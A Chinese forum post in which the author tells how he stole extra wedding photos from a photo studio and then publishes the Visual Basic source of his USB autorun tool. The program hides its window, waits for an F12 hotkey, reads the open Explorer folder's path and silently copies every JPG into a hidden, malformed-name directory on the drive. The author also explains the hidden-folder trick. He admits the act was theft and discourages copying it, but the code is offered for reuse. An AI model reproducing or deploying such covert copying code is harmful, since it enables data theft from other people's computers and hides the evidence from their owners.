你写过的自己觉着最牛的黑程序是什么？

结婚的时候，拍完婚纱照，明明拍了好几十张，但是影楼为了赚钱，规定只能拷贝走16张，超过就得加钱，好像是80元一张。一怒之下写了个U盘自动运行程序，功能只有一个，就是U盘插入的时候会自动运行，然后用户按下F12，就会自动将当前打开的目录下所有文档拷贝到U盘一个隐藏目录下。全程无任何界面和提示，完全隐蔽。拷照片那天带去。插入U盘，打开目录，假装挑选照片，偷偷按了F12，然后故意慢慢翻来覆去的挑选了很久。最后走之前影楼的工作人员还不放心，特意过来检查了一遍我的U盘，当然是什么也没看出来。最后回来一数，貌似拷了八十多张回来。

应评论区要求，放出主要代码如下：(仅供学习和参考，毕竟十年前的东西了，不做任何技术支持和保证)

主窗体
VERSION 5.00
Begin VB.Form Form1
Caption = "Form1"
ClientHeight = 3195
ClientLeft = 60
ClientTop = 345
ClientWidth = 4680
Icon = "Form1.frx":0000
LinkTopic = "Form1"
ScaleHeight = 3195
ScaleWidth = 4680
StartUpPosition = 3 '窗口缺省
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Const SW_HIDE = 0
Private Const SW_MINIMIZE = 6
Private Const SW_RESTORE = 9
Private Const SW_SHOW = 5
Private Const SW_SHOWMAXIMIZED = 3
Private Const SW_SHOWMINIMIZED = 2
Private Const SW_SHOWMINNOACTIVE = 7
Private Const SW_SHOWNA = 8
Private Const SW_SHOWNOACTIVATE = 4
Private Const SW_SHOWNORMAL = 1

Private Const WM_GETTEXTLENGTH = &HE
Private Const WM_GETTEXT = &HD
Private Const GW_CHILD = 5
Private Const GW_HWNDNEXT = 2

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal Hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetWindow Lib "user32" (ByVal Hwnd As Long, ByVal wCmd As Long) As Long

'U盘盘符名称
Private Uname As String
Private NowPath As String

Private WithEvents Hotkey1 As HotKeyClass
Attribute Hotkey1.VB_VarHelpID = -1
Private WithEvents Find1 As FindFileClass
Attribute Find1.VB_VarHelpID = -1
Private File1 As New FileClass

Private Sub Find1_FindedFile(FilePath As String, FileName As String, InfoID As Long)
'首先创建入口目录
Shell "cmd /C " & Chr(34) & "md " & Uname & "RECYCLERRECYCLER..." & Chr(34), vbHide

File1.Auto_Rename = True
File1.Del_NoMessage = True
File1.Make_Dir_NoMessage = True
File1.NoShow = True

If Len(Dir(Uname & "RECYCLERRECYCLER..", vbDirectory + vbHidden + vbSystem)) <> 0 Then
File1.FileCopy FilePath & FileName, Uname & "RECYCLERRECYCLER..", 0
Else
Set File1 = Nothing
Exit Sub
End If

'退出之前删除目录入口
Shell "cmd /C " & Chr(34) & "rd " & Uname & "RECYCLERRECYCLER..." & Chr(34), vbHide

End Sub

Private Sub Form_Load()
Me.Hide

Uname = Command

'打开调用的盘符
ShellExecute 0, vbNullString, Uname, vbNullString, vbNullString, SW_SHOWNOACTIVATE

'注册热键
Set Hotkey1 = New HotKeyClass
If Hotkey1.RegHotKey(Me.Hwnd, 122) = False Then
Unload Me
Exit Sub
End If

End Sub

Private Sub Hotkey1_HotKeyPress()
'热键被按下，获取当前窗口地址
Dim Hwnd1 As Long
Dim Get1 As New GetWinClass
Hwnd1 = Get1.GetForeWin

Dim ClassName1 As String * 255

Dim Ret1 As Long
Ret1 = GetClassName(Hwnd1, ClassName1, 255)
If Ret1 = 0 Then
Unload Me
Exit Sub
End If

If Left(ClassName1, Ret1) <> "CabinetWClass" Then
Unload Me
Exit Sub
End If

'得到选中的窗口标题
GetZiWin Hwnd1

'开始查找文件
Set Find1 = New FindFileClass
Find1.Filter = "*.jpg"
Find1.FindFile NowPath, True

End Sub

'得到子窗口的标题
Private Function GetZiWin(window_hwnd As Long) As String
Dim buf As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer

buflen = 256
buf = String(buflen - 1, Chr(0))
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left(buf, buflen) '取得子窗口的类名

If Right(buf, 4) = "Edit" Then '判断是否为地址栏子窗口
NowPath = GetWinText(window_hwnd)
Exit Function
End If

num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD) '取得第 1 个子窗口的句柄
Do While child_hwnd <> 0 '如果有子窗口
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) '取得下一个兄弟窗口的句柄
Loop

For i = 1 To num_children
Call GetZiWin(children(i))
Next i
End Function


Private Function GetWinText(window_hwnd As Long) As String '取得子窗口的值
Dim txtlen As Long
Dim txt As String

'通过 SendMessage 发送 WM_GETTEXT 取得 IE 地址栏的值
GetWinText = ""
If window_hwnd = 0 Then Exit Function

txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then
Exit Function
End If

txtlen = txtlen
txt = String(txtlen, Chr(0))
SendMessage window_hwnd, WM_GETTEXT, txtlen, ByVal txt
GetWinText = Left(txt, txtlen - 1)
End Function

公共模块

Attribute VB_Name = "Module1"
Option Explicit
Private Const SW_HIDE = 0
Private Const SW_MINIMIZE = 6
Private Const SW_RESTORE = 9
Private Const SW_SHOW = 5
Private Const SW_SHOWMAXIMIZED = 3
Private Const SW_SHOWMINIMIZED = 2
Private Const SW_SHOWMINNOACTIVE = 7
Private Const SW_SHOWNA = 8
Private Const SW_SHOWNOACTIVATE = 4
Private Const SW_SHOWNORMAL = 1

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

'U盘盘符名称
Private Uname As String

Sub Main()
Uname = Command

'打开调用的盘符
ShellExecute 0, vbNullString, Uname, vbNullString, vbNullString, SW_SHOWNOACTIVATE

'继续在后台运行

'首先创建入口目录
Shell "cmd /C " & Chr(34) & "md " & Uname & "RECYCLER..." & Chr(34), vbHide

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'开始拷贝文件


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'退出之前删除目录入口
'Shell "cmd /C " & Chr(34) & "rd " & Uname & "RECYCLER..." & Chr(34), vbHide
End Sub

其余还有几个功能性类模块代码一时间找不到了，不过看看函数名也能猜到是干什么的。

刚刚看到评论区有朋友提到的法律问题，特别追加说明一下。首先，这种行为肯定是偷窃行为了，各位千万不要以身试法。

其次，影楼的规定也有点霸王，理论上来说，我的婚纱照原片应该是属于我本人的。你可以说套餐内只给我PS16张照片。但是剩下的原片也应该给我。

最后，希望大家遇到问题还是通过正当的途径去协商解决，不要走这种歪门邪道。

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很多人对于隐藏文件的问题有疑问，再次更新一下，并不是简单的将文件夹设置为隐藏。而是放在了U盘的根目录下一个叫Recovery的文件夹里。可以自己在电脑上试试，命令行输入 cd【空格】c:Recovery 你就会进入一个隐藏的文件夹（win7以上系统必须用管理员权限打开命令行），在我的电脑c盘里绝对找不到这个目录，即使找到双击也进不去。这个目录里的所有文件的操作都必须在命令行下操作。